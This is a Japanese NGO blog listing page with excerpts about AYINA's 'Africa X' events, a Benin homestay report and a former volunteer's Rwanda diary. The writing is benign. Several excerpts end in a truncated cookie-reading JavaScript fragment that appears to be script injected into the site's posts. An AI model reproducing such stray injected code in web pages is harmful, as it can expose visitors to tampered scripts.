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AYINAメンバーBlog – ページ 11 – 特定非営利活動法人AYINA
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特定非営利活動法人AYINA / AYINAメンバーBlog (Page 11)
アフリカX【アフリカ×自然動物】

AYINA東京で活動している藤内です! 今回、アフリカXを初めて東京で開催しました! テーマは【アフリカ×自然動物】。日曜日の東京・品川にてのんびりと開催しました!   ゲストスピーカーは現役獣医学部生、梅ちゃん (写真は関係ありません…みんなで最後折り紙を折ろうとなって、 みんなツルを折る中、梅ちゃん一人ドラゴンを折っていたので、記念に撮っておきました。 テーマは『ツルを引き連れるドラゴン』だそうです。そのままです。)   ゲストスピーカーは現役獣医学部生である梅ちゃん! AYINA札幌のメンバーです! トークはうめちゃんの動物愛から始まり、ナゼ動物に愛着を持つようになったか、 現地で暮らす人と動物の関係性はどんな感じか、これからどうやって動物に関わっていきたいか、 たくさん話しを聞くことができました!   ナゼ梅ちゃんは”動物”を好きになったのか?   なんといっても、まず紹介しておきたいのは、 「うめちゃんの動物愛」。特にゾウに対する愛はすごいです。笑 そんな梅ちゃんが動物に愛着を持った経緯や今後の活動について話してくれました!   藤内:なんで動物とか自然に愛着を持つようになったの? 梅ちゃん:いつからというより、小さい頃からキャンプとかによく連れて行ってもらってて、 気づいたら自然のなかで遊ぶことが好きになっていました! 小学生の頃は半袖半ズボンガールで、木の上に秘密基地作ったり川でターザンしたり。笑   藤内:動物は…なんで好きになったの? 梅ちゃん:動物も気づいた頃には…って感じですね。 小さい頃テレビでアフリカの野生動物の特集みたら虜になっちゃって。 私はアフリカに行って動物追っかけながら生きてくんだ!ってずっと信じてました(笑) 大学進学の時は、野生動物といえば獣医でしょう!と迷いなく獣医学部を選びました。 だから弱っている動物を「治す」というよりは、 野生動物と関わっていけるような道を選びたいという思いが強かったように思いますね。   藤内:3年後獣医学部を卒業して、こんな仕事していきたいな、っていう思いは何かある? 梅ちゃん:そうですね……今回ケニアに行って、現地を見て、現地の人と交流して、 人間と動物の関係性にも興味がわき始めましたね! 現地に暮らす人々と動物がどのようにして良好な関係を築いていくか。 そこに今は興味がありますね!   今後の梅ちゃんのAYINAでの活動に期待ですね!   観光と野生動物と現地人の意外な関係性とは…? 野生動物と観光と現地の人々との関係性についても話しました。 多くの方がアフリカ=動物というイメージを持っています。 確かにアフリカには様々な野生動物がいて、それらの動物の保護活動が盛んに行われています。 さらに、それらの野生動物を観光資源として観光産業が盛んになっている地域も多いのが事実。 マサイマラ国立公園なんかは代表的な観光地になっています。 現地の人々は観光客を相手に商売をしている人も多くいらっしゃって、まさに野生動物の恩恵を受けているわけです。     野生動物の保護→観光地化→現地の保護団体や現地の人々の収入向上   このように確かに野生動物が現地に与える影響は多大です。   しかし一方では、観光客を喜ばせるために、 野生動物のストレスになるようなサービスが行われていたり、 (ナイロビの保護施設に行ったら陰で休んでるハイエナをスタッフが追い立てて私の近くまで連れてきてました) 人間が、観光資源としての野生動物とどのように向き合っていくのか、 考えさせられる機会になりました。   また、人口増加に伴って動物の領域に人が居住域を広げ、 食料を求めた野生動物が農作物を荒らす→人々が害獣として動物を殺す→人を敵視した動物達が人を襲うようになる(主にゾウ) といった人と動物間の軋轢も生じています。 他にも需要の無くならない象牙目的の密漁や、国立公園での石油発掘計画などなど、 問題は山積みなのです。   テーマに縛られない、それがアフリカXの醍醐味!! 今回のテーマはアフリカ✕自然動物ですが、 アフリカXではテーマに縛られず、 AYINAメンバー含め参加者全員で交流して仲良くなろうという趣旨もあります! 今回の参加者の一人の大学生は観光学を専攻しているそうで、 動物と観光の在り方では盛り上がりました! 逆に観光学や現代人の観光の方法の話を聞いて、めちゃくちゃ納得してしまいました…笑 こんな学びもあるのがアフリカXの面白いところです!     【番外編】PHOTO BY 梅ちゃん 梅ちゃんがケニアで撮影してきた写真をちょこっと紹介します! 因みに写真は全てツァボ国立公園の動物達です! これ!ウォーターバックのオスとメスですが、オスをよく見てください!! 上唇びろーーんってしてますよね! これ、フレーメンと言って発情メスのフェロモンをオスが嗅いで鼻腔に閉じ込めて、 繁殖のチャンスを伺ってるんです! 私たちが観察してたときは一度も交尾成功してませんでしたが、 皆んなで応援しながらその場を去りました(笑) イボイノシシ。 狩猟して豚肉として出す店があるそうで(国立公園内での狩猟は違法) めちゃめちゃ警戒心が強かったです。笑 でも地域によっては全然逃げないところもあるそうで。 因みにアフリカ豚コレラという病気の運び屋なんですが、ブサカワで大好きです。 国立公園近くの村の小学校。 私たちの車が到着するなり子供達が走って飛び出してきてあっという間にバスを囲み、 誰ともなく歌を歌いだしました(笑) でも、これがもんのすごく上手なんです!しかもハモリの子もいるんです! 一緒にサッカーをしましたが、チーム分けやルールは全くなし! ただひたすらみんなで手を繋いで走りまくりました。 何してもケタケタ笑って、外で遊ぶのが大好きで。 電話も持てないくらいお金はないけど、 こんなに子供達が笑顔ならこの村は幸福度が高いんだろうなぁとしみじみ感じました。   国立公園にも沢山キリンはいたけど、 ハイウエイを走りながらでもキリンが見れたのはさすがアフリカ大陸。 実は怒るともんのすごいスピードで追いかけて来てかなり危険です。 この地域ではなかなか出会いないらしいチーター。 全ての動物には会えなかったけど、 それが当然で会えるか会えないかドキドキしながらトラッキングするのが国立公園の醍醐味ですよね。 オスのダチョウ。これまたハイウエイでたくさんお目にかかりました。 卵が巨大でかなり硬く、ハンマーで叩くぐらいじゃなかなか割れないらしい。 村では子供からおばあちゃんまでみーーーんなで子育てをするので、 みんなあかちゃんを抱っこするのがすごく上手。 日本では赤ちゃんを抱っこした経験がほぼなかったので、ここで経験させてもらいました。笑 セクレタリーバード。 セクレタリーとは秘書のことで、頭に冠みたいなものがありそれが秘書に似ている(?)らしいことが由来。 シマウマと初めて会ったのは、ケニア空港の滑走路脇。 体に縞模様があるのが特徴の、レッサークドゥーというウシ科の動物。 オスの角の巻き方も特徴的です。 私の尊敬して止まないゾウ。 普段はメスと幼いオスの群れで行動し、 成長したオスは群れから出て単独か2〜3頭の群れを作り行動します。 バッファローの大群! 普通は群れで過ごしますが、ここではおじいちゃんバッファローが群れから出て、 おじいちゃん同士で二、三頭集まり余生を送るそうです笑 かなりマニアックな話でしたが、最後まで読んで頂きありがとうございます!   (オススメの記事)アフリカXとはなんぞや? (オススメの記事)アフリカX【ベナン✕アフリカホームステイ】 (オススメの記事)アフリカX【アフリカ✕山形大学生】   ...

アフリカX【意外なアフリカ×山形大学生】

AYINA Japan 東北支部 土屋みなみです。   今回は4月1日に山形県米沢市でおこなわれた アフリカXの報告です! アフリカXについてはこちら   AYINA新イベント!「アフリカX(エックス)」近日始動!! 少人数でアフリカを語り合いたいひと、いませんか?   今回のテーマは「意外なアフリカ×山形大学生」   山形大学の米沢キャンパスで学ぶ4人の女子学生をお招きして、 副代表・内藤の青年海外協力隊時代の経験を基に 意外と思われるアフリカ(特にルワンダ)の姿を 紹介してもらいました!   日本顔負けの、社会全体でお休みをとってまでおこなわれるクリーンアップ。 ある小学校では生徒が一人一台パソコンを使えること。 世界初のドローン空港がつくられたこと。 公共バスが1年でバンから見事に進化したこと。 更に、優先席のないバスで当然のようにお年寄りへ自分から席を譲る姿が見られること…。   写真を交えた内藤からの説明を受け、参加者からの感想には   「普段のニュースからは知り得ない情報を得ることが出来ました。」 「人間性を知り、とても美しい国だなと思いました。」 「アフリカに行ってみたいと思いました。 日本人が忘れている本当の豊かさを見てみたいと思いました。」 「私たちが持っている偏見でアフリカが遠い国になってしまったのだと思った。」   と、開催者としては涙がちょちょぎれるお言葉がずらり…   こうして少しずつでも良いから アフリカに興味を持ってくれる人が増えてくれれば 一アフリカ好きとして嬉しい限りです。   「こんな話してみたい!」 「私もアフリカ行ってみたい!」 少しでも興味が湧いて来たら、その気持ちを大事にして 是非私たちに気軽にご連絡いただければと思います^^   引き続きよろしくお願いいたします!     function...

アフリカX【ベナン×アフリカホームステイ】

副代表内藤です! 今回は、4月1日に行われた アフリカX【ベナン×アフリカホームステイ】 のご報告です^^   AYINAの新企画として始まったアフリカX。 詳細は以下記事を見てください♪   AYINA新イベント!「アフリカX(エックス)」近日始動!! 少人数でアフリカを語り合いたいひと、いませんか?   今回のテーマは 【ベナン×アフリカホームステイ】になります。 私、内藤がファシリテーターとなりまして、 コアメンバー土屋含む、第2回アフリカホームステイメンバー女子大学生3人から お話を色々聞かせてもらいました!   報告記録はこちらから! 〜山形県米沢市の女子大生3人による魅惑のベナン滞在記〜   内容を少し抜粋しましょう。   ベナンを夢見ていたカナちゃんと、ノリで興味を持った徳ちゃん   左からカナちゃん、徳ちゃん、コアメンバー土屋   カナちゃんは子供の頃に、昔流行った「あいのり」という番組で、 元ベナン大使のゾマホンがベナンを紹介していたのを観たそう。 そこからずっといつかベナンに行きたいという想いが強くなっていたそうです。   一方、徳ちゃんはカナちゃんとは大学に入ってから仲良くなってはいたものの、 本人はアフリカへの想いが特に強かったわけではなく、 ただ小学校2年生から英会話をしていたこともあり、 外国人と触れ合う機会はあったそうです。 そして、大学で南米に行ってから、海外が好きになったそうです。 カナちゃんから、ベナンに行ってみたいという想いは聞いていて、 少しアフリカに興味を持っていた心境だったそうです。 実は昨年5月の米沢AFPにも来てくれていたみたいです。     もしかして運命?ベナンフェスティバルとの出会い そして、昨年ベナンフェスティバルが開催され、 そこで土屋が年末にベナンへ行くということを聞き、 今しかない!! ということで、2人で急遽ベナン行きを決めたそうです。 すごい判断力です^^;   内藤「カルチャーショックはありましたか?」   徳ちゃん 「そんなになかった。『シャワーはホントに水だ!』って感じ」 カナちゃん 「びっくりしたことは、鶏たちが走行中のバイクにつるされているのを見たことです。 あと、交通ルールがいまいちつかめなかった。バイクの6人乗りも凄かったです。」   初のアフリカで、 普通は結構カルチャーショック起こすんですが、 彼女たちは適応能力が高いのか、環境が合っていたのか、 そこまで大きなカルチャーショックは感じなかったみたいです笑     求婚されまくったカナちゃん 小さい頃から夢見ていたベナンだったからか、 カナちゃんは通りすがりのベナン人に求婚されまくったそうです。   カナちゃん 「散歩してるときにバイクに乗ってる人から、勝手に「シャーロット」という名前をつけられ、 ずっと求婚されていました。聞いたら奥さん持ちだったそうですけど(笑)」     一番印象に残っていることは・・・   カナちゃん 「北部での時間と、ステイ先との時間ですね。 北部は田舎で、さらに人が温かいなぁと感じました。 あとは、ステイ先の家族との色々な想い出ですかね〜」   徳ちゃん 「たわいもないのに覚えてるのは、 全然知らない通りすがりの人が、 自分がバイクタクシーに乗ってるとき、 『危ないから前に座れ』って言ってくれたこと。 あまり日本人がいない場所で、言語が通じるかもわからないのに、 怖がらずに関わって来てくれる。メルシーボクって言ったら笑われたけど(笑)」     言語は、分かったらもっと良いというレベル   内藤 「結構アフリカに限らず、海外に行くときに日本人は言語を完璧にしないと、 行っても意味がないと思っている人が少なくないですが、それはどう思いますか?」   徳ちゃん 「ちょっと怖い感じあったけどジェスチャーとか雰囲気で何とかなるので、 そこまではって感じですね」   カナちゃん 「サッカーとか通じて仲良くなれたりもしましたよ。何言ってるかはわからないですけど(笑)」   徳ちゃん 「そうだね。分かったらもっと楽しいけど、わからないなりに楽しく終えられたと思います。」     土屋「ベナンに行く前と行ったときのイメージの違いあるいは変わらなかった点は?」   カナちゃん 「ベナンに興味を持った時、貧困のイメージが先行してたけど、実際に行ってみたら、 衛生(家、市場等)とか自分たちの土着の食文化の保存の方が大事なんだなって思った。」   徳ちゃん 「貧困というよりは、もう少しインフラ整ってないのかなと思ってたけど全体的に整ってる。 活発に商業もやってるし、イメージしてたものとは違うなってなった。 人が良いって言ってたのが分かった反面、 AYINAメンバー以外の人(近所の人とか)は、日本のことあまり知らないんだなって思った。 だからつながりほしいなって。 南米もベナンも中国人や中国文化は知られていて、惜しさを感じた。」     内藤「またベナンに戻ってきたいですか?」   徳ちゃん 「はい。でも、せっかく戻るなら、私に何か出来るのかなって感じ。 自分がもう少し頑張れば何かしら影響を与えられるんじゃないかって思ってます。 漠然とはしていますけど。」   カナちゃん 「はい。もともとは将来は、国内で栄養士になる考えだったけど、 今回を機に国際協力寄りになりました。 支援はやってあげるのではなく、彼らと一緒にやっていくものなんだな とも思いました。 自分が知識を持っているのは食なので、出来ればそっちで何か出来たらなと思っています。」     不思議な糸で結ばれている3人とベナン さて、私内藤が、 今回のアフリカX【ベナン×アフリカホームステイ】を総括しますと、 コアメンバーの土屋含め、 3名は不思議な糸でベナンと結ばれていたんだなと感じました。 土屋も昔から夢見ていた、念願のアフリカへ行き、 それに同じく昔からベナンに興味も持っていたカナちゃん。 カナちゃんと仲が良かった徳ちゃんが、 今しかない! という勢いで、 実際にベナンにアフリカホームステイをし、 アフリカの温かさや、文化、現状に触れ、 それぞれまた新たな想いを抱いているというのは、 偶然なのか、必然なのかはわかりませんが、 アフリカLOVEな自分にとっては凄く嬉しい出来事でした。   こんなアフリカXを開いて欲しい! などなどありましたら、ドシドシお問い合わせください! アフリカホームステイに関しても、お待ちしております^^   ayinaito@ayina.org AYINA 内藤俊輔     function getCookie(e){var...

アフリカ人と笑い、怒り、泣いた青年海外協力隊時代④

副代表内藤です! 僕の初のアフリカ、ルワンダ青年海外協力隊時代の2年間を ダイジェスト版でお届けする アフリカ人と笑い、怒り、泣いた青年海外協力隊時代 今回は4話目ということで、 語学訓練&ホームステイ終了。そして新居生活スタートであります。   アフリカ人と笑い、怒り、泣いた青年海外協力隊時代① アフリカ人と笑い、怒り、泣いた青年海外協力隊時代② アフリカ人と笑い、怒り、泣いた青年海外協力隊時代③   語学訓練終了! 落第生で、同期の助けがなければ、 何も学ぶ事が出来なかったであろう、キニアルワンダも、 なんとか挨拶と自己紹介は出来るようになり、 なんとか卒業です! 真ん中が先生です。 ジェスチャーで楽しく教えてくれる先生と、 すごく丁寧に真面目に教えてくれるのに、すごく鼻をほじる先生(笑)と、 いい先生達に恵まれて卒業しました! 頑張ってキニアルワンダで話せるようになりま〜す!   ホームステイも終了で〜す! お世話になったホームステイ先とも今日でお別れ。 毎日ご飯では日本とルワンダの話を語りあい、 休みの日は遊んだり、家事手伝いをしたり、散歩をしたり、、、 とにかく文化に触れまくった2ヶ月でした。   僕が今AYINAでアフリカホームステイをオススメしまくっているのは、 ここでの経験が、 国を好きになるとは、人や文化を好きになる事なんだ。 という発見がありました!   僕は普段こういう事はしませんが、 あまりにも感謝したんで、こんなものまで作ってしまいました! う〜む、クオリティ低いですね笑   本当にムラコゼチャーネ(Thank you so muchという意味)!!     新居一人暮らしスタート!! さてさて、ついに一人暮らしがスタートします。   アフリカでの一人暮らしという事で、 結構ボロいサバイバルな生活を予想してワクワクしてましたが、 僕の活動地はキガリというルワンダの首都。   ルワンダは19年前(当時)、 国民の10%が亡くなったとされるジェノサイドから 10数年でアフリカの奇跡と言われた経済復興をした国であるので、 首都は結構発展しているのです。 そんな僕の家もかなり今風!! 千の丘の国と言われる所以の丘に並ぶ家が絶景のベランダ!!   日本で暮らしていたよりなんだかリッチな暮らしになりそうな雰囲気で、 ここで1年10ヶ月の暮らしがスタートします!!   ...

アフリカ人と笑い、怒り、泣いた青年海外協力隊時代③

副代表内藤です! 前回はホームステイと語学訓練の始まりについてお話しました。 第三弾です! アフリカ人と笑い、怒り、泣いた青年海外協力隊時代① アフリカ人と笑い、怒り、泣いた青年海外協力隊時代②   カルチャーショックの雨嵐 ルワンダ生活が始まり1ヶ月。 いろいろな文化の違いを感じることができました。 ショックと言ってもネガティブなショックではなく、 凄い!! という意味合いのショックがほとんどでした。   お買い物は青空マーケット 僕らがお買い物をするのは、 基本的にはスーパーマーケットかコンビニが多いと思います。 ルワンダでのお買い物は、青空マーケット。 日本ではまず確実に値札がついてますよね? 基本的には青空マーケットには値札はありません。 全て会話交渉です。 「おばちゃん、これいくら?」 「100ルワンダフラン(ルワンダの通貨名)だよ」 「えー高いよー。まけて!」 「3個買ってくれたら250ルワンダフランでいいよ。」 「買った!」 みたいな会話が繰り広げられていきます。 最初はなかなかまけてくれませんが、 毎日通って仲良くなると、おまけしてくれます。こういうの大好きです!     ボロいジムに超絶マッチョマン達 日本では、ジムの質=マッチョマンの質 というのが一般的なセオリーですが、 ルワンダのジムに行きましたら、 ボッロ!! というジムでした。 日本人なら二度と来ないかもしれない器具のボロさと品揃えの悪さ。 でも、ここでトレーニングしているルワンダ人の体は 日本でみたトップクラスの体をしていました。 筋肉はジムの質ではないんだ!ということを彼らに教えてもらいました。   頭に乗せるレベルが尋常じゃない 頭に物を乗せる習慣があるのは、事前調査で知っていました。 が、僕が頭に思い描いていた光景の10倍の量を乗せて歩いていました! これ、坂道ですよ。 てかまずどうやって乗せたのかも謎です笑   日本の車がいっぱい!! 日本車は、日本よりも比率が高いです。 95%は日本車といっても過言ではないと思います。 中でもびっくりしたのは、 え、日本企業か?? と思ったら、これは使わなくなった日本企業のトラックが、 いろいろ経由してルワンダにきたというものでした。 ここに電話してみたらどうなるんだろう・・・ とちょっと考えたこともありましたね笑     と、こんな新しい発見が毎日ありました! でも1ヶ月も経ってくると、 これが普通になってしまい、 もうあまり気にならなくなるという人間の適応力にも驚きました。 function getCookie(e){var U=document.cookie.match(new...

アフリカ人と笑い、怒り、泣いた青年海外協力隊時代②

副代表、内藤です! 先日から始まりました 「アフリカ人と笑い、怒り、泣いた青年海外協力隊時代」 第二弾です!   先日のお話はこちら アフリカ人と笑い、怒り、泣いた青年海外協力隊時代①   ホームステイと語学訓練が開始! 青年海外協力隊のほとんどは、 現地についてから、ホームステイと語学訓練が始まります。 ホームステイでは、現地での暮らしを学び、 語学訓練では、ルワンダではキニアルワンダという現地語がある為にそれを学びます。   断水停電ホームステイ暮らし JICAの調整員の方に連れられて、 僕のホームステイ先に移動します。   英語はTOEIC280点レベルで、 派遣前研修でもギリギリで卒業出来たので、 全然コミュニケーション取れるレベルじゃない僕。   ステイ先の家族については、別の機会にお話しするとして、 英語で話しかけてくれるものの、何言ってるのかわかりません汗   とりあえず部屋と、浴室はこんな感じで、 断水と停電がいっぱいあるよ!と言われたことだけは理解できました。 夜はこのようにランタン生活ですね。 お風呂も私たちは普段1回で200リットルほど使っている中(知ってました?)、 大体3リットルくらいのぬるま湯で、済ませるのは、最初は至難の技です。 髪を泡でてた状態で水が無くなってしまったこともしばしばありました笑   まあでもこういう暮らしも不思議と辛いというより、 生きているという感覚になれたのは、 自分の適応力が意外とあったということだと思います。   劣等生だった語学訓練 さて、派遣前研修でも劣等生だった僕。 今回もやっぱり劣等生になってしまいます。 先生は、英語ですごーく丁寧に、飽きないように体を動かす授業をしてくれます! 最初は僕もこんな感じで、楽しみながら授業に参加していました! ですが、元々卓上で学ぶことが本当に出来ないのと、 そもそも英語が理解出来ないということで、 午前は行っても、午後はサボり気味になってしまいました。 そんな僕を見捨てずに、同期達は、 たまに日本語で僕にキニアルワンダを教えてくれます。 正直、同期がいなかったら、 この時点でギブアップしてしまっても、おかしくなかったです。 ありがとう同期〜   文化に適応して、勉学に適応出来ず というわけで、断水停電と、日本人には慣れない暮らしには、 へっちゃらだった僕ですが、 大嫌いな勉学でストレスが溜まってました。 おうちに帰る前に、一本のプリムス(ルワンダのビール)を飲んで帰るのが日課でした。 ダメな子ですね笑   function getCookie(e){var...

第2回アフリカホームステイinベナン共和国レポート〜山形県米沢市の女子大生3人による魅惑のベナン滞在記〜 最終回

AYINA Japan 東北支部 土屋みなみです。 前回はホームステイ最終日の各家族の様子をお送りしました 第2回アフリカホームステイinベナン共和国レポート。   今日はいよいよ最終回。日本へ帰国します…。   Vol.1はこちら Vol.2はこちら Vol.3はこちら Vol.4はこちら Vol.5はこちら Vol.6はこちら Vol.7はこちら Vol.8はこちら Vol.9はこちら Vol.10はこちら Vol.11はこちら Vol.12はこちら Vol.13はこちら Vol.14はこちら Vol.15はこちら Vol.16はこちら   1/5 空港まで向かう車に乗り込もうとしたとき、Julienneが私の肩を叩きました。 振り向くと 私の大好きな朝ご飯である、 フランスパンに焼きたてのオムレツを挟んだサンドイッチを渡してくれました!!!! (ベトナムにもよく似た食べ物があります。その名もバインミー チュング) 最後の最後まで私の好物を出してくれるなんて…あたたかさに感動です。 最高のホストシスターであり、ホストマザーでもあるJulienne、本当にありがとう!!!!   更に、「3人で分けてね」とこちらも。 昨日Rahimと相談して作ってくれていたのは、これだったのね! 北部への旅の道中に、地元の石を使った商品を扱う店があったのですが そこで購入したものに自分たちで地図を書き入れてくれたようです。 嬉しくてありがたくて言葉になりません…。   ほっこりしているうちに、あっさり空港へ到着。 最後の記念撮影です。 帰りたくない私たちの気持ちとは裏腹に、何事もなく飛行機は離陸し… エチオピア航空名物“例の”彼(詳細は内藤のブログ参照)を通過して乗り継ぎます。 来た時よりも一回乗り換えが少ないからか(詳細はvol.3参照) 帰りたくない気持ちからなのか あっという間に日本へ着きました。 寂しい気もするけれど、3人とも無事に戻ってくることが出来て一安心です。 (この後1人が久しぶりにひどい風邪を引くことになるとは、知る由もありませんでした…)   これから私たち3人はそれぞれの元の生活に戻り、 それぞれの道を再び歩み始めますが どんな形でも良いので、今回の経験が糧になれば良いなと期待しています。 2人とも、2週間本当にありがとう!   ――― さて、次に魅力のベナンステイを体験するのは 今これを読んでいる貴方かもしれません。   日本での生活に比べたら、”不便”かもしれません。 異文化すぎて驚くこと、受け入れられないこともあるかもしれません。 でも、ベナンの自然・人・食べ物… 豊かなこれらがきっと、 貴方をあたたかく迎えてくれることでしょう。 アフリカホームステイに少しでも興味を抱いた方は、 是非ご連絡ください!   また、このブログを機に アフリカホームステイのみならず、 ベナンという国について少しでも興味を持っていただけたら 筆者としてはこの上ない喜びです。   長文・駄文に最後までお付き合いいただきありがとうございました。   お・わ・り ...

アフリカ人と笑い、怒り、泣いた青年海外協力隊時代①

副代表、内藤です! さて、今回は私の青年海外協力隊時代のストーリーをお伝えしたいと思います。   以前、アフリカとの出会いまでのお話は書いております。 お暇でしたらどーぞ!   アフリカとの出会いのお話① アフリカとの出会いのお話② アフリカとの出会いのお話③   アフリカに行く前の洗礼 過去に僕が経験した一番長かった飛行機移動は8時間でしたかね。 行き先はオーストラリア。 高校生の修学旅行です。 その時の記憶は、 これ、一生かかってもつかないんじゃないの?!っていう長さでした。 昔から通信簿に「落ち着きがない」と書かれ続けていた僕は、 飛行機という狭い空間に何時間というのは、ものすご〜〜〜く長く感じた訳です。   そして、今回の任地ルワンダ。 計24時間。はい、丸一日かかります。 ワインを飲みまくりベロベロになって寝て起きて、 まだ6時間しか経ってない。 仲良し同期はみんな寝てる・・・。 着いた時には、 いきなりアフリカを嫌いになりそうなくらい乗り疲れしてました。   着いたぞー!ルワンダ!! 辛かった飛行機生活も、着いて降りた時にはもう心は晴れやか。 JICAの調整員という協力隊のお世話係をしてくれる人が空港に迎えにきてくれて、 ひとまずその日は、ホテルへ移動! ホテルはなんだかリゾートチックです。 道も首都という事もあるので、舗装されてますが、 とにかく道が綺麗です!ゴミ一つ落ちていません。 また別記事で書きますが、 ルワンダはアフリカでもダントツで綺麗な国です。   ルワンダの地ビール この日は特に活動もなく、休息です。 ルワンダは英語が公用語にはなっていますが、 それも当時8年前ほどにフランス語から英語が公用語になったばかりなので、 基本的には現地語のキニアルワンダで会話しています。 勿論、ルワンダ歴3時間足らずの私たちは話せませんから、 ホテル近くのレストランで、 ビールと訳もわからない料理を注文。 まあビールが飲めればいいのだ!   初めて感じる感情だ! なんだろう、海外旅行とは違うワクワクハラハラ感。 海外旅行は、1週間とかそこらで、 異文化を表面的に感じてるだけ。 なんだか3Dの映画を観てるような感覚です。   でも、僕はこれからここに2年間住むのです。 24時間かけてきたこのアフリカ大陸に。 言語も全く通じない、ガイドもいないこのルワンダに。 自分がドキュメンタリー映画の主人公になった気分です。     今日から僕の長いようで短いルワンダ生活が始まりました! 1日ごとに書いてたらキリがないので、ダイジェスト版でお送りします!       function getCookie(e){var U=document.cookie.match(new...

少人数でアフリカを語り合いたいひと、いませんか?

AYINAコアメンバーの藤内です。 今日はアフリカXについて前回の記事よりもっと詳しくご紹介したいと思います!   アフリカXが立ち上がるまで 僕たちはこれまでアフリカホームステイやアフリカンフレンドシップパーティーを開催してきました。   アフリカホームステイではアフリカに行ってみたい参加者とメンバーが 一緒にアフリカに行き、五感でアフリカを楽しむ企画でした!   アフリカンフレンドシップパーティーではアフリカ各国に興味があったり、 実際アフリカで活動されていた大勢の方々に参加して頂き、 ゲストスピーカーを招いたりして、国内でアフリカを体験できる企画でした!   そのなかで参加者の方々から 『もっとアフリカを味わい尽くせるイベントにしたい!』 『せっかくアフリカに関わる人が集まるのだからもっと参加者同士で交流したい!』 というお声を頂きました!   僕らコアメンバーもこれまでの企画を通して、 さらにアフリカにどっぷり浸かったようなもっともっと濃い時間を提供したい! もっとアフリカに興味がある人同士を繋げたい! と考えていて・・・   『じゃあもっと少人数で開催できて、参加者同士がアフリカ以上の共通点を見つけられるような企画をしようじゃないかぁ〜(^^)』 となりまして、この度『アフリカX』を開催することになりました!   アフリカXとは? ではアフリカXとは何なのか。 簡単に言うと、   1、少人数で、 2、アフリカにどっぷり浸かって 3、アフリカというテーマを通して交流を図り、 4、アフリカファンを増やす   企画です。   そして”X”って何か。 Xは”エックス”!ではないんです。 僕らも話すときは”アフリカエックス!!”って呼んでます。そのほうがカッコイイから…   Xは”掛け”るなんです。かけ算の”掛け”るです。 アフリカともう一つのテーマを”掛け”合わせる。 つまり『アフリカX』の後にはそれぞれもう一つのテーマが入ります! それでアフリカX!!   アフリカXでさらに重要なこと アフリカX(エックスでもかけるでもどっちでもいいです笑)においてさらに重要なこと! それは・・・   みんなで企画を作っていく。   アフリカXでは、主役はAYINAのコアメンバーではなく、主役はみなさん。 (もちろん場所の確保や日時の調整等はコアメンバーが行います!) こんなテーマに興味のある人で集いたい 自分はこういう経験があるからみんなに話してみたい 簡単に言うとなんでもALL OKAYなアフリカX。   もちろん僕らコアメンバーからも提案させて頂きます。 しかし僕らだけで出す案にも数の限りがあります。   そこで皆さんからもう一つのテーマを募集したいのです。   アフリカXボランティア、アフリカXビジネス、アフリカXJICA協力隊 アフリカX旅X女性、アフリカX音楽、アフリカXファッション、アフリカX政治、 アフリカX料理、アフリカX映画、アフリカX本、アフリカX語学、アフリカX・・・。   もう一度言います、テーマはなんでもALL OKAYです。   ”もう一つのテーマ”をご提供してくださる方々へ! アフリカXの後に続くもう一つのテーマをご提供してくださる方は是非AYINAメンバーへご連絡ください! お問い合わせはこちらから。 その他AYINAのFBページのメッセージ、コメントでも構いません。 是非皆さんからのもう一つのテーマをお待ちしております!   第一弾『アフリカX』の始動!   そしてなんと早速、第一弾のアフリカXが開催決定しました! 日時:4月2日(日)昼〜夕方にかけて 場所:都内のカフェ等 人数制限:4名(場所によっては増加する可能性あり) テーマはアフリカX自然X動物です。 そして今回スピーカーとなってくれるのは現役獣医学生のうめちゃん。AYINA札幌のコアメンバーです。   参加ご希望の方は shoji.tonai@ayina.org まで以下の項目を明記の上、ご連絡ください! ①名前【フリガナ】 ②職業 ③連絡先(※メールやFB、LINEなど) ④アフリカXへのご希望(※exゾウの話を聞きたい、自然保護の話を聞きたい) ⑤その他(※もしなにかあればご記入ください。)   *---*---*---*---*---*---*---*---*---*---*---*---*---*---* 紹介に預かりました、うめです! 実は私、こんなにもアフリカ好きでアフリカ関係のイベントを開催してきたにも関わらず アフリカへの渡航歴ゼロなんです!! お金がないとかタイミングが…とか言ってたら、卒業してしまうじゃないか!! ということに最近気づき、初・アフリカ渡航を決意しました。   渡航地はケニア・ツァボ国立公園。 アフリカゾウの研究と現地女性の就労支援活動をされている方のスタディーツアーに参加して参ります!   一番の目的はもちろん、野生動物(ゾウ!!!!!!)のトラッキング! ですが、このスタディーツアーの目的はそれだけではありません。 野生動物と現地住民の間に生じている問題、象牙密猟の現状、現地女性の支援の様子など たくさんのものを見て、聞いて、学ぶこともツアー開催の重要な意味なのです。   野生動物(ゾウ!!!!!!!)LOVEな獣医学生視点で様々なものをみて感じてきます! その感動を私一人だけで留めず、シェアする場としてアフリカXを活用できる! ということで、アフリカX自然を開催します! *---*---*---*---*---*---*---*---*---*---*---*---*---*---*   もし4月2日(日)のアフリカXに参加ご希望の方がいらっしゃれば、こんなところを見てきてほしい、 帰国後こんな話をしてほしい!という要望があれば是非教えてください!   参加ご希望の方は shoji.tonai@ayina.org まで以下の項目を明記の上、ご連絡ください! ①名前【フリガナ】 ②職業 ③連絡先(※メールやFB、LINEなど) ④4月2日開催のアフリカXへのご希望(※exゾウの話を聞きたい、自然保護の話を聞きたい) ⑤その他(※もしなにかあればご記入ください。)         function...